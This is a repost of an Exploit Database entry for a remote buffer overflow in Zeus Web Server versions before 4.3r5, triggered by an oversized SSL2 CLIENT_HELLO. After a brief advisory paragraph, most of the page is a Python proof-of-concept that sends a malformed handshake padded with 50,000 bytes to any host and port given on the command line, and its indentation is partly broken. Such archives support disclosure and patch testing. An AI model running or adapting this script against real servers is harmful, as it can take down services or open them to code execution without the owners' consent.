Zeus Web Server 4.x – ‘SSL2_CLIENT_HELLO’ Remote Buffer Overflow (PoC)

• Exploit Database
• 12 阅读

• 作者： Intevydis
  日期： 2010-01-15
• 类别：

  • dos
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/33531/

• source: https://www.securityfocus.com/bid/37829/info
  
  Zeus Web Server is prone to a buffer-overflow vulnerability because the application fails to perform adequate boundary checks on user-supplied data.
  
  Attackers can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
  
  Versions prior to Zeus Web Server 4.3r5 are vulnerable. 
  
  #!/usr/bin/env python
  # zeus_ssl2.py
  #
  # Use this code at your own risk. Never run it against a production system.
  # 
  # THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
  # WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
  # MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
  # ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
  # WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
  # ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
  # OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
  
  import socket
  import sys
  import struct
  
  def send_req(host,port):
  buf=""
  buf+=chr(1)
  buf+="\x00\x02" 
  buf+=struct.pack(">H",21)
  buf+=struct.pack(">H",0xffff)
  buf+=struct.pack(">H",16)
  buf+="\x07\x00\xc0\x03\x00\x80\x01\x00\x80\x08\x00\x80"
   buf+="\x06\x00\x40\x04\x00\x80\x02\x00\x80"
  buf+="A"* 50000
  buf+="C"*16
  
  siz =chr( ( (len(buf) & 0xff00) >> 8)| 0x80) + chr(len(buf)&0xff)
  buf = siz + buf
  
   sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   sock.connect((host,port))
   sock.sendall(buf)
   sock.recv(1000)
   sock.close()
  
  if __name__=="__main__":
   if len(sys.argv)<3:
  print "usage: %s host port" % sys.argv[0]
  sys.exit()
  
   send_req(sys.argv[1],int(sys.argv[2]))